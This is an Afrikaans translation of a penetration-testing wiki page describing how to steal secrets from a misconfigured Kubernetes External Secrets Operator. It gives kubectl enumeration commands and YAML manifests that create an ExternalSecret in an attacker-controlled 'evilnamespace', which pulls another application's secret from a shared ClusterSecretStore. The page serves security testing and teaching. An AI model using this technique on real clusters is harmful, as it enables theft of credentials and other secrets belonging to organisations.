External Secret Operator

Die oorspronklike skrywer van hierdie bladsy is Fares

Hierdie bladsy gee 'n paar wenke oor hoe jy kan slaag om geheime te steel van 'n verkeerd geconfigureerde ESO of toepassing wat ESO gebruik om sy geheime te sinkroniseer.

Disclaimer

Die tegniek hieronder kan slegs werk wanneer sekere omstandighede nagekom word. Byvoorbeeld, dit hang af van die vereistes wat nodig is om 'n geheim op 'n naamruimte wat jy besit / gecompromitteer het, te laat sinkroniseer. Jy moet dit self uitfigure.

Prerequisites

'n Voet in 'n kubernetes / openshift-kluster met admin regte op 'n naamruimte
Lees toegang op ten minste ExternalSecret op kluster vlak
Figurer uit of daar enige vereiste etikette / annotasies of groepslidmaatskap nodig is wat ESO toelaat om jou geheim te sinkroniseer. As jy gelukkig is, kan jy enige gedefinieerde geheim vryelik steel.

Gathering information about existing ClusterSecretStore

Aneem dat jy 'n gebruiker het wat genoeg regte het om hierdie hulpbron te lees; begin eers deur bestaande ClusterSecretStores op te lys.

kubectl get ClusterSecretStore

ExternalSecret enumerasie

Kom ons neem aan jy het 'n ClusterSecretStore gevind met die naam mystore. Gaan voort deur sy geassosieerde externalsecret te enumerate.

kubectl get externalsecret -A | grep mystore

Hierdie hulpbron is naamruimte-geskepte, so tensy jy reeds weet watter naamruimte om te soek, voeg die -A opsie by om oor alle naamruimtes te kyk.

Jy behoort 'n lys van gedefinieerde externalsecret te kry. Kom ons neem aan jy het 'n externalsecret objek genaamd mysecret gevind wat gedefinieer en gebruik word deur naamruimte mynamespace. Versamel 'n bietjie meer inligting oor watter soort geheim dit hou.

kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

Die stukke saamstel

Van hier af kan jy die naam van een of meer geheime name verkry (soos gedefinieer in die Secret hulpbron). Jy sal 'n uitvoer kry wat soortgelyk is aan:

kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...

Tot dusver het ons:

Naam 'n ClusterSecretStore
Naam van 'n ExternalSecret
Naam van die geheim

Nou dat ons alles het wat ons nodig het, kan jy 'n ExternalSecret skep (en uiteindelik 'n nuwe Namespace patch/create om te voldoen aan die vereistes wat nodig is om jou nuwe geheim gesinkroniseer te kry):

kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret

kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

Na 'n paar minute, as sink toestande nagekom is, behoort jy die gelekte geheim binne jou naamruimte te kan sien.

kubectl get secret leaked_secret -o yaml

Verwysings

{{#ref}} https://external-secrets.io/latest/ {{#endref}}

{{#ref}} https://github.com/external-secrets/external-secrets {{#endref}}

3.4 KiB Raw Blame History